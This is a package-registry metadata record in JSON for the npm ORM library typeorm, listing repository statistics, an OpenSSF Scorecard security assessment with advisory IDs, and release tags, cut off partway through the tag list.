{"id":2492405,"name":"typeorm","ecosystem":"npm","description":"Data-Mapper ORM for TypeScript and ES2023+. Supports MySQL/MariaDB, PostgreSQL, MS SQL Server, Oracle, SAP HANA, SQLite, MongoDB databases.","homepage":"https://typeorm.io","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/typeorm/typeorm","keywords_array":[],"namespace":null,"versions_count":1246,"first_release_published_at":"2016-04-19T17:16:40.192Z","latest_release_published_at":"2026-07-13T19:08:30.245Z","latest_release_number":"1.1.0","last_synced_at":"2026-08-17T19:51:53.058Z","created_at":"2022-04-10T02:33:32.052Z","updated_at":"2026-08-18T06:14:12.067Z","registry_url":"https://www.npmjs.com/package/typeorm","install_command":"npm install typeorm","documentation_url":null,"metadata":{"funding":"https://opencollective.com/typeorm","dist-tags":{"master":"1.0.0-nightly.20260311","beta":"1.0.0-beta.3","latest":"1.1.0","legacy":"0.3.31","dev":"1.1.0-nightly.20260817"},"contentPolicy":null},"repo_metadata":{"id":37383749,"uuid":"52773157","full_name":"typeorm/typeorm","owner":"typeorm","description":"TypeScript \u0026 JavaScript ORM for Node.js — supports PostgreSQL, MySQL, MariaDB, SQLite, SQL Server, Oracle, and more.","archived":false,"fork":false,"pushed_at":"2026-08-13T06:47:32.000Z","size":41745,"stargazers_count":36630,"open_issues_count":613,"forks_count":6661,"subscribers_count":337,"default_branch":"master","last_synced_at":"2026-08-14T16:59:28.605Z","etag":null,"topics":["active-record","cockroachdb","data-mapper","database","hacktoberfest","javascript","mariadb","mysql","orm","postgresql","sqlite","sqlserver","typeorm","typescript"],"latest_commit_sha":null,"homepage":"http://typeorm.io","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/typeorm.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"open_collective":"typeorm"}},"created_at":"2016-02-29T07:41:14.000Z","updated_at":"2026-08-14T13:38:00.000Z","dependencies_parsed_at":"2026-05-18T21:05:38.672Z","dependency_job_id":null,"html_url":"https://github.com/typeorm/typeorm","commit_stats":{"total_commits":4519,"total_committers":1115,"mean_commits":4.052914798206278,"dds":0.6851073246293428,"last_synced_commit":"e7649d2746f907ff36b1efb600402dedd5f5a499"},"previous_names":["pleerock/typeorm"],"tags_count":110,"template":false,"template_full_name":null,"purl":"pkg:github/typeorm/typeorm","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/typeorm","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/sbom","scorecard":{"id":44095,"data":{"date":"2025-08-04","repo":{"name":"github.com/typeorm/typeorm","commit":"6e9f20d4d94eeb6e89e2d49d8fcf7d7ea4f9c243"},"scorecard":{"version":"v5.2.1-28-gc1d103a9","commit":"c1d103a9bb9f635ec7260bf9aa0699466fa4be0e"},"score":6.6,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 15 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#maintained"}},{"name":"Code-Review","score":10,"reason":"all changesets reviewed","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#cii-best-practices"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#dangerous-workflow"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#license"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish-package.yml:8"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":5,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Info: required approving review count is 2 on branch 'master'","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Warn: no status checks found to merge onto branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#branch-protection"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'packages' permission set to 'read': .github/workflows/codeql.yml:22","Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish-package.yml:11","Warn: no topLevel permission defined: .github/workflows/codeql.yml:1","Warn: no topLevel permission defined: .github/workflows/commit-validation.yml:1","Warn: no topLevel permission defined: .github/workflows/docsearch.yml:1","Warn: no topLevel permission defined: .github/workflows/preview.yml:1","Warn: no topLevel permission defined: .github/workflows/publish-package.yml:1","Warn: no topLevel permission defined: .github/workflows/tests-linux.yml:1","Warn: no topLevel permission defined: .github/workflows/tests-windows.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#token-permissions"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#signed-releases"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 25 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#sast"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/commit-validation.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/commit-validation.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/commit-validation.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/commit-validation.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/commit-validation.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/commit-validation.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/commit-validation.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/commit-validation.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/commit-validation.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/commit-validation.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/commit-validation.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/commit-validation.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docsearch.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/docsearch.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/preview.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/preview.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/preview.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/preview.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish-package.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/publish-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish-package.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/publish-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:83: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:84: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:88: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:125: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:126: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:130: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:138: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:147: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:148: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:152: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:160: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:174: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:182: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:234: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:235: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:239: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:247: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:256: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:260: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:264: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:275: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:191: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:192: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:196: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:204: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:284: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:288: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:292: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-linux.yml:303: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-linux.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/tests-windows.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/typeorm/typeorm/tests-windows.yml/master?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/preview.yml:36","Info:   0 out of  52 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  14 third-party GitHubAction dependencies pinned","Info:  14 out of  15 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-4v9v-hfq4-rm2v","Warn: Project is vulnerable to: GHSA-9jgg-88mc-972h","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-35jh-r3h4-6jhm","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-7fh5-64p2-3v2j","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-14T22:18:01.989Z","repository_id":37383749,"created_at":"2025-08-14T22:18:01.990Z","updated_at":"2025-08-14T22:18:01.990Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36748742,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-17T02:00:06.698Z","response_time":86,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"typeorm","name":"typeorm","uuid":"20165699","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/20165699?v=4","repositories_count":18,"last_synced_at":"2024-04-14T17:17:09.764Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/typeorm","funding_links":[],"total_stars":34650,"followers":219,"following":0,"created_at":"2022-11-02T16:26:44.737Z","updated_at":"2024-04-14T17:17:14.497Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/typeorm","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/typeorm/repositories"},"tags":[{"name":"1.0.0","sha":"cf3f13f2edb4c3a88e2ec836af72e3249c59e41e","kind":"commit","published_at":"2026-05-19T11:10:51.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/1.0.0","html_url":"https://github.com/typeorm/typeorm/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/1.0.0/manifests"},{"name":"0.3.30","sha":"4c91616c3139bddccd95ee61494ab417a3fabe32","kind":"tag","published_at":"2026-05-18T20:27:00.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.3.30","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.3.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.3.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.3.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.3.30/manifests"},{"name":"0.3.29","sha":"0ed009a12867e302ecbc7cedfd442cc60d21c006","kind":"tag","published_at":"2026-05-08T13:12:05.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.3.29","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.3.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.3.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.3.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.3.29/manifests"},{"name":"v1.0.0-beta.3","sha":"ed9bcb9c0ffa46aea151a958c63cfd415d60e4c0","kind":"commit","published_at":"2026-05-05T08:09:56.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/v1.0.0-beta.3","html_url":"https://github.com/typeorm/typeorm/releases/tag/v1.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@v1.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/v1.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/v1.0.0-beta.3/manifests"},{"name":"v1.0.0-beta.2","sha":"e5eb60b4030f91a8d8ab51e14907930048298884","kind":"commit","published_at":"2026-04-15T18:01:22.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/v1.0.0-beta.2","html_url":"https://github.com/typeorm/typeorm/releases/tag/v1.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@v1.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/v1.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/v1.0.0-beta.2/manifests"},{"name":"v1.0.0-beta.1","sha":"3f4d2b5f4da31d89585dadfbb14c83501f8fdc99","kind":"commit","published_at":"2026-03-23T18:44:59.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/v1.0.0-beta.1","html_url":"https://github.com/typeorm/typeorm/releases/tag/v1.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@v1.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/v1.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/v1.0.0-beta.1/manifests"},{"name":"0.3.28","sha":"73fda419e4647c10377b28bd975171156c285693","kind":"commit","published_at":"2025-12-03T08:29:32.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.3.28","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.3.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.3.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.3.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.3.28/manifests"},{"name":"0.3.27","sha":"9ea8577f42311e970e7b7078a1eb636f13af0107","kind":"commit","published_at":"2025-09-19T09:45:01.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.3.27","html_url":"https://github.com/typeorm/typeorm/releases/tag/0.3.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/typeorm/typeorm@0.3.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.3.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/typeorm%2Ftypeorm/tags/0.3.27/manifests"},{"name":"0.3.26","sha":"4d204adf5639f5f16dde33a03d2fe3ac9a610d13","kind":"commit","published_at":"2025-08-18T16:32:25.000Z","download_url":"https://codeload.github.com/typeorm/typeorm/tar.gz/0.3.26","html_url":"h